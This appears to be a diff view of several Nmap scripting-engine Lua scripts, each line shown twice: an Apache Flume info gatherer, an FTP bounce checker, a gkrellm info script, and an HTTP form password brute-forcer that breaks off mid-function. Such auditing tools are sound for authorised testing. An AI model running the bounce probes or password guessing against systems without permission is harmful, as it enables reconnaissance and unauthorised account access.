local config_keys = {"dfs.datanode.address","dfs.datanode.http.address","dfs.datanode.https.address","dfs.datanode.ipc.address","dfs.http.address","dfs.https.address","dfs.secondary.http.address","flume.collector.dfs.dir","flume.collector.event.host","flume.master.servers","fs.default.name","mapred.job.tracker","mapred.job.tracker.http.address","mapred.task.tracker.http.address","mapred.task.tracker.report.address"} local config_keys = {"dfs.datanode.address","dfs.datanode.http.address","dfs.datanode.https.address","dfs.datanode.ipc.address","dfs.http.address","dfs.https.address","dfs.secondary.http.address","flume.collector.dfs.dir","flume.collector.event.host","flume.master.servers","fs.default.name","mapred.job.tracker","mapred.job.tracker.http.address","mapred.task.tracker.http.address","mapred.task.tracker.report.address"}
local nodes = { } local nodes = { }
local zookeepers = { } local zookeepers = { }
local hbasemasters = { } local hbasemasters = { }
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri ) local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%") local body = response['body']:gsub("%%","%%%%")
local capacity = {} local capacity = {}
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
if body:match("Version:%s*</b>([^][,]+)") then if body:match("Version:%s*</b>([^][,]+)") then
local version = body:match("Version:%s*</b>([^][,]+)") local version = body:match("Version:%s*</b>([^][,]+)")
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version)) stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
result[#result+1] = ("Version: %s"):format(version) result[#result+1] = ("Version: %s"):format(version)
port.version.version = version port.version.version = version
end end
if body:match("Compiled:%s*</b>([^][<]+)") then if body:match("Compiled:%s*</b>([^][<]+)") then
local compiled = body:match("Compiled:%s*</b>([^][<]+)") local compiled = body:match("Compiled:%s*</b>([^][<]+)")
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled)) stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
result[#result+1] = ("Compiled: %s"):format(compiled) result[#result+1] = ("Compiled: %s"):format(compiled)
end end
if body:match("ServerID:%s*([^][<]+)") then if body:match("ServerID:%s*([^][<]+)") then
local upgrades = body:match("ServerID:%s*([^][<]+)") local upgrades = body:match("ServerID:%s*([^][<]+)")
stdnse.print_debug(1, ("%s: ServerID %s"):format(SCRIPT_NAME,upgrades)) stdnse.print_debug(1, ("%s: ServerID %s"):format(SCRIPT_NAME,upgrades))
result[#result] = ("ServerID: %s"):format(upgrades) result[#result] = ("ServerID: %s"):format(upgrades)
end end
for logical,physical,hostname in string.gmatch(body,"<tr><td>([%w%.-_:]+)</td><td>([%w%.]+)</td><td>([%w%.]+)</td>") do for logical,physical,hostname in string.gmatch(body,"<tr><td>([%w%.-_:]+)</td><td>([%w%.]+)</td><td>([%w%.]+)</td>") do
stdnse.print_debug(2, ("%s: %s (%s) %s"):format(SCRIPT_NAME,physical,logical,hostname)) stdnse.print_debug(2, ("%s: %s (%s) %s"):format(SCRIPT_NAME,physical,logical,hostname))
if (table_count(nodes, hostname) == 0) then if (table_count(nodes, hostname) == 0) then
nodes[#nodes+1] = hostname nodes[#nodes+1] = hostname
add_target(hostname) add_target(hostname)
end end
end end
if next(nodes) ~= nil then if next(nodes) ~= nil then
table.insert(result, "Flume nodes:") table.insert(result, "Flume nodes:")
result[#result+1] = nodes result[#result+1] = nodes
end end
for zookeeper in string.gmatch(body,"Dhbase.zookeeper.quorum=([^][\"]+)") do for zookeeper in string.gmatch(body,"Dhbase.zookeeper.quorum=([^][\"]+)") do
if (table_count(zookeepers, zookeeper) == 0) then if (table_count(zookeepers, zookeeper) == 0) then
zookeepers[#zookeepers+1] = zookeeper zookeepers[#zookeepers+1] = zookeeper
add_target(zookeeper) add_target(zookeeper)
end end
end end
if next(zookeepers) ~= nil then if next(zookeepers) ~= nil then
result[#result+1] = "Zookeeper Master:" result[#result+1] = "Zookeeper Master:"
result[#result+1] = zookeepers result[#result+1] = zookeepers
end end
for hbasemaster in string.gmatch(body,"Dhbase.rootdir=([^][\"]+)") do for hbasemaster in string.gmatch(body,"Dhbase.rootdir=([^][\"]+)") do
if (table_count(hbasemasters, hbasemaster) == 0) then if (table_count(hbasemasters, hbasemaster) == 0) then
hbasemasters[#hbasemasters+1] = hbasemaster hbasemasters[#hbasemasters+1] = hbasemaster
add_target(hbasemaster) add_target(hbasemaster)
end end
end end
if next(hbasemasters) ~= nil then if next(hbasemasters) ~= nil then
result[#result+1] = "Hbase Master Master:" result[#result+1] = "Hbase Master Master:"
result[#result+1] = hbasemasters result[#result+1] = hbasemasters
end end
local vars = parse_page(host, port, env_uri, env_keys ) local vars = parse_page(host, port, env_uri, env_keys )
if next(vars) ~= nil then if next(vars) ~= nil then
result[#result+1] = "Enviroment: " result[#result+1] = "Enviroment: "
result[#result+1] = vars result[#result+1] = vars
end end
local vars = parse_page(host, port, config_uri, config_keys ) local vars = parse_page(host, port, config_uri, config_keys )
if next(vars) ~= nil then if next(vars) ~= nil then
result[#result+1] = "Config: " result[#result+1] = "Config: "
result[#result+1] = vars result[#result+1] = vars
end end
if #result > 0 then if #result > 0 then
port.version.name = "flume-master" port.version.name = "flume-master"
port.version.product = "Apache Flume" port.version.product = "Apache Flume"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
end end

View File

@@ -34,191 +34,191 @@ categories = {"default", "safe"}
portrule = shortport.service("ftp") portrule = shortport.service("ftp")
line_iterate = function(s) line_iterate = function(s)
local line local line
for line in string.gmatch(s, "([^\n$]*)") do for line in string.gmatch(s, "([^\n$]*)") do
if #line > 0 then if #line > 0 then
coroutine.yield(line) coroutine.yield(line)
end end
end end
end end
-- returns last ftp code read, or 000 on timeout -- returns last ftp code read, or 000 on timeout
get_ftp_code = function(socket) get_ftp_code = function(socket)
local fcode = 000 local fcode = 000
local code = 0 local code = 0
local status local status
local result local result
local co local co
local line local line
local err local err
while true do while true do
status, result = socket:receive() status, result = socket:receive()
if not status then if not status then
break break
end end
-- read okay! -- read okay!
co = coroutine.create(line_iterate) co = coroutine.create(line_iterate)
while coroutine.status(co) ~= 'dead' do while coroutine.status(co) ~= 'dead' do
err, line = coroutine.resume(co, result) err, line = coroutine.resume(co, result)
if line then if line then
code = string.match(line, "^(%d%d%d) ") code = string.match(line, "^(%d%d%d) ")
if not code then if not code then
code = "-1" code = "-1"
end end
-- io.write(">" .. code .. ":".. line .. "<\n") -- io.write(">" .. code .. ":".. line .. "<\n")
if tonumber(code) > 0 then if tonumber(code) > 0 then
fcode = tonumber(code) fcode = tonumber(code)
end end
end end
end end
-- not received good ftp code, try again -- not received good ftp code, try again
if fcode ~= 0 then if fcode ~= 0 then
break break
end end
end end
-- io.write("## " .. fcode .. "\n"); -- io.write("## " .. fcode .. "\n");
return fcode return fcode
end end
local get_login = function() local get_login = function()
local user, pass local user, pass
local k local k
for _, k in ipairs({"ftp-bounce.username", "username"}) do for _, k in ipairs({"ftp-bounce.username", "username"}) do
if nmap.registry.args[k] then if nmap.registry.args[k] then
user = nmap.registry.args[k] user = nmap.registry.args[k]
break break
end end
end end
for _, k in ipairs({"ftp-bounce.password", "password"}) do for _, k in ipairs({"ftp-bounce.password", "password"}) do
if nmap.registry.args[k] then if nmap.registry.args[k] then
pass = nmap.registry.args[k] pass = nmap.registry.args[k]
break break
end end
end end
return user or "anonymous", pass or "IEUser@" return user or "anonymous", pass or "IEUser@"
end end
action = function(host, port) action = function(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local result; local result;
local status = true local status = true
local isAnon = false local isAnon = false
local isOk = false local isOk = false
local sendPass = true local sendPass = true
local user, pass = get_login() local user, pass = get_login()
local fc local fc
socket:set_timeout(10000) socket:set_timeout(10000)
socket:connect(host, port) socket:connect(host, port)
-- BANNER -- BANNER
fc = get_ftp_code(socket) fc = get_ftp_code(socket)
if fc == 0 then if fc == 0 then
socket:close() socket:close()
-- no banner -- no banner
return "no banner" return "no banner"
end end
if fc == 421 or (fc >= 500 and fc <= 599) then if fc == 421 or (fc >= 500 and fc <= 599) then
socket:close() socket:close()
-- return "server says you are not allowed to create connection" -- return "server says you are not allowed to create connection"
return return
end end
if fc < 200 or fc > 299 then if fc < 200 or fc > 299 then
socket:close() socket:close()
-- bad code -- bad code
-- return "bad banner (code " .. fc .. ")" -- return "bad banner (code " .. fc .. ")"
return return
end end
socket:set_timeout(5000) socket:set_timeout(5000)
-- USER -- USER
socket:send("USER " .. user .. "\r\n") socket:send("USER " .. user .. "\r\n")
fc = get_ftp_code(socket) fc = get_ftp_code(socket)
if (fc >= 400 and fc <= 499) or (fc >= 500 and fc <= 599) then if (fc >= 400 and fc <= 499) or (fc >= 500 and fc <= 599) then
socket:close() socket:close()
-- bad code -- bad code
--return "anonymous user not allowed" --return "anonymous user not allowed"
return return
end end
if fc == 0 then if fc == 0 then
socket:close() socket:close()
-- return "anonymous user timeouted" -- return "anonymous user timeouted"
return return
end end
if fc ~= 230 and fc ~= 331 then if fc ~= 230 and fc ~= 331 then
socket:close() socket:close()
-- bad code -- bad code
-- return "bad response for anonymous user (code " .. fc .. ")" -- return "bad response for anonymous user (code " .. fc .. ")"
return return
end end
if fc == 230 then if fc == 230 then
sendPass = false sendPass = false
end end
-- PASS -- PASS
if sendPass then if sendPass then
socket:send("PASS " .. pass .. "\r\n") socket:send("PASS " .. pass .. "\r\n")
fc = get_ftp_code(socket) fc = get_ftp_code(socket)
if (fc >= 500 and fc <= 599) or (fc >= 400 and fc <= 499) then if (fc >= 500 and fc <= 599) or (fc >= 400 and fc <= 499) then
socket:close() socket:close()
-- bad code -- bad code
-- return "anonymous user/pass rejected" -- return "anonymous user/pass rejected"
return return
end end
if fc == 0 then if fc == 0 then
socket:close() socket:close()
-- return "anonymous pass timeouted" -- return "anonymous pass timeouted"
return return
end end
if fc ~= 230 and fc ~= 200 then if fc ~= 230 and fc ~= 200 then
socket:close() socket:close()
-- return "answer to PASS not understood (code " .. fc .. ")" -- return "answer to PASS not understood (code " .. fc .. ")"
return return
end end
end end
-- PORT scanme.nmap.com:highport -- PORT scanme.nmap.com:highport
socket:send("PORT 205,217,153,62,80,80\r\n") socket:send("PORT 205,217,153,62,80,80\r\n")
fc = get_ftp_code(socket) fc = get_ftp_code(socket)
if (fc >= 500 and fc <= 599) then if (fc >= 500 and fc <= 599) then
socket:close() socket:close()
-- return "server forbids bouncing" -- return "server forbids bouncing"
return return
end end
if fc == 0 then if fc == 0 then
socket:close() socket:close()
-- return "PORT command timeouted" -- return "PORT command timeouted"
return return
end end
if not (fc >= 200 and fc<=299) then if not (fc >= 200 and fc<=299) then
socket:close() socket:close()
-- return "PORT response not understood (code " .. fc .. ")" -- return "PORT response not understood (code " .. fc .. ")"
return return
end end
-- PORT scanme.nmap.com:lowport -- PORT scanme.nmap.com:lowport
socket:send("PORT 205,217,153,62,0,80\r\n") socket:send("PORT 205,217,153,62,0,80\r\n")
fc = get_ftp_code(socket) fc = get_ftp_code(socket)
if (fc >= 500 and fc <= 599) then if (fc >= 500 and fc <= 599) then
socket:close() socket:close()
return "server forbids bouncing to low ports <1025" return "server forbids bouncing to low ports <1025"
end end
if fc == 0 then if fc == 0 then
socket:close() socket:close()
-- return "PORT command timeouted for low port" -- return "PORT command timeouted for low port"
return return
end end
if not (fc >= 200 and fc<=299) then if not (fc >= 200 and fc<=299) then
socket:close() socket:close()
-- return "PORT response not understood for low port (code " .. fc .. ")" -- return "PORT response not understood for low port (code " .. fc .. ")"
return return
end end
socket:close() socket:close()
return "bounce working!" return "bounce working!"
end end

View File

@@ -55,167 +55,167 @@ portrule = shortport.port_or_service(19150, "gkrellm", "tcp")
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
local long_names = { local long_names = {
["fs_mounts"] = "Mounts", ["fs_mounts"] = "Mounts",
["net"] = "Network", ["net"] = "Network",
["hostname"] = "Hostname", ["hostname"] = "Hostname",
["sysname"] = "System", ["sysname"] = "System",
["version"] = "Version", ["version"] = "Version",
["uptime"] = "Uptime", ["uptime"] = "Uptime",
["mem"] = "Memory", ["mem"] = "Memory",
["proc"] = "Processes", ["proc"] = "Processes",
} }
local order = { local order = {
"Hostname", "System", "Version", "Uptime", "Processes", "Memory", "Network", "Mounts" "Hostname", "System", "Version", "Uptime", "Processes", "Memory", "Network", "Mounts"
} }
local function getOrderPos(tag) local function getOrderPos(tag)
for i=1, #order do for i=1, #order do
if ( tag.name == order[i] ) then if ( tag.name == order[i] ) then
return i return i
elseif ( "string" == type(tag) and tag:match("^([^:]*)") == order[i] ) then elseif ( "string" == type(tag) and tag:match("^([^:]*)") == order[i] ) then
return i return i
end end
end end
return 1 return 1
end end
local function minutesToUptime(value) local function minutesToUptime(value)
local days = math.floor(value / (60 * 24)) local days = math.floor(value / (60 * 24))
local htime = math.fmod(value, (60 * 24)) local htime = math.fmod(value, (60 * 24))
local hours = math.floor(htime / 60) local hours = math.floor(htime / 60)
local mtime = math.fmod(htime, 60) local mtime = math.fmod(htime, 60)
local minutes = math.floor(mtime) local minutes = math.floor(mtime)
local output = "" local output = ""
if ( days > 0 ) then if ( days > 0 ) then
output = output .. ("%d days, "):format(days) output = output .. ("%d days, "):format(days)
end end
if ( hours > 0 ) then if ( hours > 0 ) then
output = output .. ("%d hours, "):format(hours) output = output .. ("%d hours, "):format(hours)
end end
if ( minutes > 0 ) then if ( minutes > 0 ) then
output = output .. ("%d minutes"):format(minutes) output = output .. ("%d minutes"):format(minutes)
end end
return output return output
end end
local function decodeTag(tag, lines) local function decodeTag(tag, lines)
local result = { name = long_names[tag] } local result = { name = long_names[tag] }
local order local order
if ( "fs_mounts" == tag ) then if ( "fs_mounts" == tag ) then
local fs_tab = tab.new(4) local fs_tab = tab.new(4)
tab.addrow(fs_tab, "Mount point", "Fs type", "Size", "Available") tab.addrow(fs_tab, "Mount point", "Fs type", "Size", "Available")
for _, line in ipairs(lines) do for _, line in ipairs(lines) do
if ( ".clear" ~= line ) then if ( ".clear" ~= line ) then
local mount, prefix, fstype, size, free, used, bs = table.unpack(stdnse.strsplit("%s", line)) local mount, prefix, fstype, size, free, used, bs = table.unpack(stdnse.strsplit("%s", line))
if ( size and free and mount and fstype ) then if ( size and free and mount and fstype ) then
size = ("%dM"):format(math.ceil(tonumber(size) * tonumber(bs) / 1048576)) size = ("%dM"):format(math.ceil(tonumber(size) * tonumber(bs) / 1048576))
free = ("%dM"):format(math.ceil(tonumber(free) * tonumber(bs) / 1048576)) free = ("%dM"):format(math.ceil(tonumber(free) * tonumber(bs) / 1048576))
tab.addrow(fs_tab, mount, fstype, size, free) tab.addrow(fs_tab, mount, fstype, size, free)
end end
end end
end end
table.insert(result, tab.dump(fs_tab)) table.insert(result, tab.dump(fs_tab))
elseif ( "net" == tag ) then elseif ( "net" == tag ) then
local net_tab = tab.new(3) local net_tab = tab.new(3)
tab.addrow(net_tab, "Interface", "Received", "Transmitted") tab.addrow(net_tab, "Interface", "Received", "Transmitted")
for _, line in ipairs(lines) do for _, line in ipairs(lines) do
local name, rx, tx = line:match("^([^%s]*)%s([^%s]*)%s([^%s]*)$") local name, rx, tx = line:match("^([^%s]*)%s([^%s]*)%s([^%s]*)$")
rx = ("%dM"):format(math.ceil(tonumber(rx) / 1048576)) rx = ("%dM"):format(math.ceil(tonumber(rx) / 1048576))
tx = ("%dM"):format(math.ceil(tonumber(tx) / 1048576)) tx = ("%dM"):format(math.ceil(tonumber(tx) / 1048576))
tab.addrow(net_tab, name, rx, tx) tab.addrow(net_tab, name, rx, tx)
end end
table.insert(result, tab.dump(net_tab)) table.insert(result, tab.dump(net_tab))
elseif ( "hostname" == tag or "sysname" == tag or elseif ( "hostname" == tag or "sysname" == tag or
"version" == tag ) then "version" == tag ) then
return ("%s: %s"):format(long_names[tag], lines[1]) return ("%s: %s"):format(long_names[tag], lines[1])
elseif ( "uptime" == tag ) then elseif ( "uptime" == tag ) then
return ("%s: %s"):format(long_names[tag], minutesToUptime(lines[1])) return ("%s: %s"):format(long_names[tag], minutesToUptime(lines[1]))
elseif ( "mem" == tag ) then elseif ( "mem" == tag ) then
local total, used = table.unpack(stdnse.strsplit("%s", lines[1])) local total, used = table.unpack(stdnse.strsplit("%s", lines[1]))
if ( not(total) or not(used) ) then if ( not(total) or not(used) ) then
return return
end end
local free = math.ceil((total - used)/1048576) local free = math.ceil((total - used)/1048576)
total = math.ceil(tonumber(total)/1048576) total = math.ceil(tonumber(total)/1048576)
return ("%s: Total %dM, Free %dM"):format(long_names[tag], total, free) return ("%s: Total %dM, Free %dM"):format(long_names[tag], total, free)
elseif ( "proc" == tag ) then elseif ( "proc" == tag ) then
local procs, _, forks, load, users = table.unpack(stdnse.strsplit("%s", lines[1])) local procs, _, forks, load, users = table.unpack(stdnse.strsplit("%s", lines[1]))
if ( not(procs) or not(forks) or not(load) or not(users) ) then if ( not(procs) or not(forks) or not(load) or not(users) ) then
return return
end end
return ("%s: Processes %d, Load %.2f, Users %d"):format(long_names[tag], procs, load, users) return ("%s: Processes %d, Load %.2f, Users %d"):format(long_names[tag], procs, load, users)
end end
return ( #result > 0 and result or nil ) return ( #result > 0 and result or nil )
end end
action = function(host, port) action = function(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
socket:set_timeout(5000) socket:set_timeout(5000)
if ( not(socket:connect(host, port)) ) then if ( not(socket:connect(host, port)) ) then
return fail("Failed to connect to the server") return fail("Failed to connect to the server")
end end
-- If there's an error we get a response back, and only then -- If there's an error we get a response back, and only then
local status, data = socket:receive_buf("\n", false) local status, data = socket:receive_buf("\n", false)
if( status and data ~= "<error>" ) then if( status and data ~= "<error>" ) then
return fail("An unknown error occured, aborting ...") return fail("An unknown error occured, aborting ...")
elseif ( status ) then elseif ( status ) then
status, data = socket:receive_buf("\n", false) status, data = socket:receive_buf("\n", false)
if ( status ) then if ( status ) then
return fail(data) return fail(data)
else else
return fail("Failed to receive error message from server") return fail("Failed to receive error message from server")
end end
end end
if ( not(socket:send("gkrellm 2.3.4\n")) ) then if ( not(socket:send("gkrellm 2.3.4\n")) ) then
return fail("Failed to send data to the server") return fail("Failed to send data to the server")
end end
local tags = {} local tags = {}
local status, tag = socket:receive_buf("\n", false) local status, tag = socket:receive_buf("\n", false)
while(true) do while(true) do
if ( not(status) ) then if ( not(status) ) then
break break
end end
if ( not(tag:match("^<.*>$")) ) then if ( not(tag:match("^<.*>$")) ) then
stdnse.print_debug(2, "Expected tag, got: %s", tag) stdnse.print_debug(2, "Expected tag, got: %s", tag)
break break
else else
tag = tag:match("^<(.*)>$") tag = tag:match("^<(.*)>$")
end end
if ( tags[tag] ) then if ( tags[tag] ) then
break break
end end
while(true) do while(true) do
local data local data
status, data = socket:receive_buf("\n", false) status, data = socket:receive_buf("\n", false)
if ( not(status) ) then if ( not(status) ) then
break break
end end
if ( status and data:match("^<.*>$") ) then if ( status and data:match("^<.*>$") ) then
tag = data tag = data
break break
end end
tags[tag] = tags[tag] or {} tags[tag] = tags[tag] or {}
table.insert(tags[tag], data) table.insert(tags[tag], data)
end end
end end
socket:close() socket:close()
local output = {} local output = {}
for tag in pairs(tags) do for tag in pairs(tags) do
local result, order = decodeTag(tag, tags[tag]) local result, order = decodeTag(tag, tags[tag])
if ( result ) then if ( result ) then
table.insert(output, result) table.insert(output, result)
end end
end end
table.sort(output, function(a,b) return getOrderPos(a) < getOrderPos(b) end) table.sort(output, function(a,b) return getOrderPos(a) < getOrderPos(b) end)
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -27,16 +27,16 @@ Performs brute force password auditing against http form-based authentication.
-- analyzes the response and attempt to determine whether authentication was -- analyzes the response and attempt to determine whether authentication was
-- successful or not. The script analyzes this by checking the response using -- successful or not. The script analyzes this by checking the response using
-- the following rules: -- the following rules:
-- 1. If the response was empty the authentication was successful -- 1. If the response was empty the authentication was successful
-- 2. If the response contains the message passed in the onsuccess -- 2. If the response contains the message passed in the onsuccess
-- argument the authentication was successful -- argument the authentication was successful
-- 3. If no onsuccess argument was passed, and if the response -- 3. If no onsuccess argument was passed, and if the response
-- does not contain the message passed in the onfailure argument the -- does not contain the message passed in the onfailure argument the
-- authentication was successful -- authentication was successful
-- 4. If neither the onsuccess or onfailure argument was passed and the -- 4. If neither the onsuccess or onfailure argument was passed and the
-- response does not contain a password form field authentication -- response does not contain a password form field authentication
-- was successful -- was successful
-- 5. Authentication failed -- 5. Authentication failed
-- --
-- @output -- @output
-- PORT STATE SERVICE REASON -- PORT STATE SERVICE REASON
@@ -59,19 +59,19 @@ Performs brute force password auditing against http form-based authentication.
-- holds the username used to authenticate. A simple autodetection of -- holds the username used to authenticate. A simple autodetection of
-- this variable is attempted. -- this variable is attempted.
-- @args http-form-brute.passvar sets the http-variable name that holds the -- @args http-form-brute.passvar sets the http-variable name that holds the
-- password used to authenticate. A simple autodetection of this variable -- password used to authenticate. A simple autodetection of this variable
-- is attempted. -- is attempted.
-- @args http-form-brute.onsuccess (optional) sets the message to expect on -- @args http-form-brute.onsuccess (optional) sets the message to expect on
-- successful authentication -- successful authentication
-- @args http-form-brute.onfailure (optional) sets the message to expect on -- @args http-form-brute.onfailure (optional) sets the message to expect on
-- unsuccessful authentication -- unsuccessful authentication
-- --
-- Version 0.3 -- Version 0.3
-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net> -- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 05/23/2011 - v0.2 - changed so that uservar is optional -- Revised 05/23/2011 - v0.2 - changed so that uservar is optional
-- Revised 06/05/2011 - v0.3 - major re-write, added onsucces, onfailure and -- Revised 06/05/2011 - v0.3 - major re-write, added onsucces, onfailure and
-- support for redirects -- support for redirects
-- --
author = "Patrik Karlsson" author = "Patrik Karlsson"
@@ -85,166 +85,166 @@ local form_params = {}
Driver = { Driver = {
new = function(self, host, port, options) new = function(self, host, port, options)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = nmap.registry.args['http-form-brute.hostname'] or host o.host = nmap.registry.args['http-form-brute.hostname'] or host
o.port = port o.port = port
o.options = options o.options = options
return o return o
end, end,
connect = function( self ) connect = function( self )
-- This will cause problems, as ther is no way for us to "reserve" -- This will cause problems, as ther is no way for us to "reserve"
-- a socket. We may end up here early with a set of credentials -- a socket. We may end up here early with a set of credentials
-- which won't be guessed until the end, due to socket exhaustion. -- which won't be guessed until the end, due to socket exhaustion.
return true return true
end, end,
login = function( self, username, password ) login = function( self, username, password )
-- we need to supply the no_cache directive, or else the http library -- we need to supply the no_cache directive, or else the http library
-- incorrectly tells us that the authentication was successfull -- incorrectly tells us that the authentication was successfull
local postparams = { [self.options.passvar] = password } local postparams = { [self.options.passvar] = password }
if ( self.options.uservar ) then postparams[self.options.uservar] = username end if ( self.options.uservar ) then postparams[self.options.uservar] = username end
local response = Driver.postRequest(self.host, self.port, self.options.path, postparams) local response = Driver.postRequest(self.host, self.port, self.options.path, postparams)
local success = false local success = false
-- if we have no response, we were successful -- if we have no response, we were successful
if ( not(response.body) ) then if ( not(response.body) ) then
success = true success = true
-- if we have a response and it matches our onsuccess match, login was successful -- if we have a response and it matches our onsuccess match, login was successful
elseif ( response.body and elseif ( response.body and
self.options.onsuccess and self.options.onsuccess and
response.body:match(self.options.onsuccess) ) then response.body:match(self.options.onsuccess) ) then
success = true success = true
-- if we have a response and it does not match our onfailure, login was successful -- if we have a response and it does not match our onfailure, login was successful
elseif ( response.body and elseif ( response.body and
not(self.options.onsuccess) and not(self.options.onsuccess) and
self.options.onfailure and self.options.onfailure and
not(response.body:match(self.options.onfailure))) then not(response.body:match(self.options.onfailure))) then
success = true success = true
-- if we have a response and no onfailure or onsuccess match defined -- if we have a response and no onfailure or onsuccess match defined
-- and can't find a password field, login was successful -- and can't find a password field, login was successful
elseif ( response.body and elseif ( response.body and
not(self.options.onfailure) and not(self.options.onfailure) and
not(self.options.onsuccess) and not(self.options.onsuccess) and
not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*")) not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*"))
) then ) then
success = true success = true
end end
-- We check whether the body was empty or that we have a body without our user- and pass-var -- We check whether the body was empty or that we have a body without our user- and pass-var
if ( success ) then if ( success ) then
nmap.registry['credentials'] = nmap.registry['credentials'] or {} nmap.registry['credentials'] = nmap.registry['credentials'] or {}
nmap.registry.credentials['http'] = nmap.registry.credentials['http'] or {} nmap.registry.credentials['http'] = nmap.registry.credentials['http'] or {}
table.insert( nmap.registry.credentials.http, { username = username, password = password } ) table.insert( nmap.registry.credentials.http, { username = username, password = password } )
return true, brute.Account:new( username, password, creds.State.VALID) return true, brute.Account:new( username, password, creds.State.VALID)
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
disconnect = function( self ) disconnect = function( self )
return true return true
end, end,
check = function( self ) check = function( self )
return true return true
end, end,
postRequest = function( host, port, path, options ) postRequest = function( host, port, path, options )
local response = http.post( host, port, path, { no_cache = true }, nil, options ) local response = http.post( host, port, path, { no_cache = true }, nil, options )
local status = ( response and tonumber(response.status) ) or 0 local status = ( response and tonumber(response.status) ) or 0
if ( status > 300 and status < 400 ) then if ( status > 300 and status < 400 ) then
local new_path = url.absolute(path, response.header.location) local new_path = url.absolute(path, response.header.location)
response = http.get( host, port, new_path, { no_cache = true } ) response = http.get( host, port, new_path, { no_cache = true } )
end end
return response return response
end, end,
} }
--- Attempts to auto-detect known form-fields --- Attempts to auto-detect known form-fields
-- --
local function detectFormFields( host, port, path ) local function detectFormFields( host, port, path )
local response = http.get( host, port, path ) local response = http.get( host, port, path )
local user_field, pass_field local user_field, pass_field
if ( response.status == 200 ) then if ( response.status == 200 ) then
user_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([^\"]-[Uu][Ss][Ee][Rr].-)[\"]*.->") user_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([^\"]-[Uu][Ss][Ee][Rr].-)[\"]*.->")
pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([Pp][Aa][Ss][Ss].-)[\"]*.->") pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([Pp][Aa][Ss][Ss].-)[\"]*.->")
if ( not(pass_field) ) then if ( not(pass_field) ) then
pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]-([^\"]-[Kk][Ee][Yy].-)[\"].->") pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]-([^\"]-[Kk][Ee][Yy].-)[\"].->")
end end
end end
return user_field, pass_field return user_field, pass_field
end end
action = function( host, port ) action = function( host, port )
local uservar = stdnse.get_script_args('http-form-brute.uservar') local uservar = stdnse.get_script_args('http-form-brute.uservar')
local passvar = stdnse.get_script_args('http-form-brute.passvar') local passvar = stdnse.get_script_args('http-form-brute.passvar')
local path = stdnse.get_script_args('http-form-brute.path') or "/" local path = stdnse.get_script_args('http-form-brute.path') or "/"
local onsuccess = stdnse.get_script_args("http-form-brute.onsuccess") local onsuccess = stdnse.get_script_args("http-form-brute.onsuccess")
local onfailure = stdnse.get_script_args("http-form-brute.onfailure") local onfailure = stdnse.get_script_args("http-form-brute.onfailure")
local _ local _
-- if now fields were given attempt to autodetect -- if now fields were given attempt to autodetect
if ( not(uservar) and not(passvar) ) then if ( not(uservar) and not(passvar) ) then
uservar, passvar = detectFormFields( host, port, path ) uservar, passvar = detectFormFields( host, port, path )
-- if now passvar was detected attempt to autodetect -- if now passvar was detected attempt to autodetect
elseif ( not(passvar) ) then elseif ( not(passvar) ) then
_, passvar = detectFormFields( host, port, path ) _, passvar = detectFormFields( host, port, path )
end end
-- uservar is optional, so only make sure we have a passvar -- uservar is optional, so only make sure we have a passvar
if ( not( passvar ) ) then if ( not( passvar ) ) then
return "\n ERROR: No passvar was specified (see http-form-brute.passvar)" return "\n ERROR: No passvar was specified (see http-form-brute.passvar)"
end end
if ( not(path) ) then if ( not(path) ) then
return "\n ERROR: No path was specified (see http-form-brute.path)" return "\n ERROR: No path was specified (see http-form-brute.path)"
end end
if ( onsuccess and onfailure ) then if ( onsuccess and onfailure ) then
return "\n ERROR: Either the onsuccess or onfailure argument should be passed, not both." return "\n ERROR: Either the onsuccess or onfailure argument should be passed, not both."
end end
local options = { [passvar] = "this_is_not_a_valid_password" } local options = { [passvar] = "this_is_not_a_valid_password" }
if ( uservar ) then options[uservar] = "this_is_not_a_valid_user" end if ( uservar ) then options[uservar] = "this_is_not_a_valid_user" end
local response = Driver.postRequest( host, port, path, options ) local response = Driver.postRequest( host, port, path, options )
if ( not(response) or not(response.body) or response.status ~= 200 ) then if ( not(response) or not(response.body) or response.status ~= 200 ) then
